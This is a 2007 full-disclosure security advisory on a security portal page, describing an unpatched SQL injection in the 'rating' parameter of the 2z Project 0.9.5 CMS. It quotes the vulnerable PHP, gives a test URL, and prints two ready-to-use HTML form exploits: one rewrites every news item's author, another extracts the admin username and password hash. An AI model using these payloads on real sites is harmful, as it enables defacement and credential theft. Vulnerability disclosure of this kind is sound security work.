Waraxe IT Security Portal
Login or Register
October 6, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 73
Members: 0
Total: 73
Full disclosure
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
SEC Consult SA-20240925-0 :: Uninstall Password Bypass in BlackBerry CylanceOPTICS Windows Installer Package (CVE-2024-35214)
Apple iOS 17.2.1 - Screen Time Passcode Retrieval (MitigationBypass)
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Submit Exploit CVE-2024-42831
Stored XSS in "Edit Profile" - htmlyv2.9.9
Stored XSS in "Menu Editor" - htmlyv2.9.9
Backdoor.Win32.BlackAngel .13 / Unauthenticated Remote CommandExecution
[waraxe-2007-SA#051] - Sql Injection in 2z Project 0.9.5





Author: Janek Vind "waraxe"
Date: 23. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-51.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerable: 2z Project 0.9.5
Patched: not yet :)

http://2z-project.ru/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Critical sql injection in "rating.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Let's start with peeking @ source code of "2z/includes/rating.php":

------------------[source code]----------------------
...
if ($_POST['rating']) {
@include_once "../core.php";
@header('Content-type: text/html; charset='.$lang['encoding']);
LoadLang("news", "site");
}
...
if (!$_COOKIE['rating'.$row['id']]) {
if (!$rating) {
...
else {
@setcookie('rating'.$post_id, 'voted', (time() + 31526000), '/');
$mysql->query("UPDATE ".prefix."_news SET rating=rating+".$rating.",
votes=votes+1 WHERE id = '".$post_id."'");
------------------[/source code]----------------------

As we can track back - the $_POST['rating'] parameter will be used in
mysql "UPDATE" query without any sanitize at all! This seems to be
classical "sql injection in update query" case ...

So let's have fun and try some PoC:

------------------[PoC test]-----------------------
http://localhost/2zcms/?category=none&altname=testnews&rating=xxx
------------------[/PoC test]----------------------

Result: "Error! Bad query!"

What is important for this test to succeed, is that url to specific news
item must be valid. And then just add "?rating=xxx" or "&rating=xxx"
to url end and you will get error message, if target website is not patched.

So what are practical exploiting possibilities in this case?

1. Attacker can modify arbitrary news content on website.
=========================================================

This little piece of html code will change news author name to "1337"
for ALL news items at the same time!

------------------[real-life exploit]-----------------------
<html>
<body>
<center>
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=1337/*">
<input type="submit" value="Test!">
</form>
</center>
</body>
</html>
------------------[/real-life exploit]----------------------


2. Attacker can steal any data from mysql database.
=========================================================

Exploit below will expose admins username and passwords double md5 hash
in "author" field for all news items on website. So if attacker wants
to be more sneaky, then sql query must be limited to update only one news item.
How? Well, that's too easy, so I will not tell it here ;)

------------------[real-life exploit]-----------------------
<html>
<body>
<center>
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=
(SELECT CONCAT(name,0x5e,pass)FROM 2z_users WHERE id=1)/*">
<input type="submit" value="Test!">
</form>
</center>
</body>
</html>
------------------[/real-life exploit]----------------------

There is one important mitigating factor for this exploit to succeed:
mysql daemon must have version >= 4.1 with sub queries functionality.


//-----> See ya soon and have a nice day ;) <-----//


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well, what can I suggest? Try to rush developers for releasing update
ASAP :)


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to str0ke, ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb,
shai-tan and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/


Shameless advertise:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Shorter url for easy use - http://urlaxe.com/
Soon te be released sql injection tool - http://sqlaxe.com/









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-05-23 (23602 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Ransomware Hits Critical Infrastructure Hard, Costs Adding Up
Ransowmare Crew Infects 100+ Orgs Monthly With New MedusaLocker Variant
Evil Corp/REvil Malware Crime Group Outed As Family Affair
More LockBit Hackers Arrested, Unmasked As Servers Siezed
Ransomware Forces Hospital To Turn Away Ambulances
Ransomware Gang Using Stolen MS Entra ID Creds To Bust Into Cloud
RansomHub Genius Tries To Put The Squeeze On Delaware Libraries
US Indicts Two Over Socially Engineered $230M+ Crypto Heist
Life Imitates xkcd Comic As Florida Gang Beats Crypto Password From Retiree
Cyber Crooks Strut Away With Haute Couture Harvey Nichols Data
Marko Polo Hackers Found To Be Running Dozens Of Scams
Hackers Demand $6 Million From Seattle Airport Operators
Recent WhatsUp Gold Vulnerabilities Possibly Exploited In Ransomware Attacks
Cops Across The World Arrest 51 In Orchestrated Takedown Of Ghost Crime Platform
France Uses Tough, Untested Cybercrime Law To Target Durov
Ransomware Group Leaks Data Stolen From Kawasaki Motors
Old WHOIS Domain Could Have Issued Fraudulent TLS/SSL Certs
Hackers Use Cloud Services To Target Financial And Insurance Firms
When You Pay A Ransom And The Decryptor Doesn't Work
Crypto Scams Rake In $5.6B A Year For Lowlifes, FBI Says
Cisco Merch Shoppers Stung In Magecart Attack
Planned Parenthood Confirms Attack Claimed By RansomHub
Russian Doppelganger Campaign Exposed
FBI: North Korea Aggressively Hacking Cryptocurrency Firms
RansomHub Claims 210 Victims In Just 6 Months
Hacker news
LLM Hijacking Of Cloud Infrastructure Uncovered By Researchers
Thousands Of Linux Systems Infected By Malware Since 2021
DOJ, Microsoft Take Down 107 Russian-Backed Star Blizzards Domains
Ransowmare Crew Infects 100+ Orgs Monthly With New MedusaLocker Variant
Ivanti EPM Vulnerability Exploited In The Wild
Zero-Day Breach At Rackspace Sparks Vendor Blame Game
More LockBit Hackers Arrested, Unmasked As Servers Siezed
T-Mobile Pays $16 Million Fine For Three Years' Worth Of Data Breaches
Rackspace Internal Monitoring Web Servers Hit By Zero Day
WMDDH Discloses Data Breach Impacting 127,000
Cloud Threats Have Execs The Most Freaked Out Because They're Not Prepared
Five Eyes Agencies Release Guidance On Detecting Active Directory Intrusions
Ransomware Gang Using Stolen MS Entra ID Creds To Bust Into Cloud
Millions Of Kia Cars Were Vulnerable To Remote Hacking
Cyberattack Investigated At UK's Busiest Train Stations
China's Salt Typhoon Cyber Spies Are Deep Inside US ISPs
Deloitte Says No Threat To Sensitive Data After Hacker Claims Breach
RansomHub Genius Tries To Put The Squeeze On Delaware Libraries
Ivanti Warns Of Second CSA Vuln Exploited In Attacks
Cyberattack On Kansas Water Treatment Facility Investigated By Feds
Move Over, Cobalt Strike. Splinter's The New Post Exploit Menace In Town
US Indicts Two Over Socially Engineered $230M+ Crypto Heist
China Urges Vigilance Against Taiwanese Cyberattacks
Secret Calculator Hack Brings ChatGPT To The TI-84, Enabling Easy Cheating
Exploiting Exploiting Exchange PowerShell After ProxyNotShell: Part 3 – DLL Loading Chain for RCE
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.042 Seconds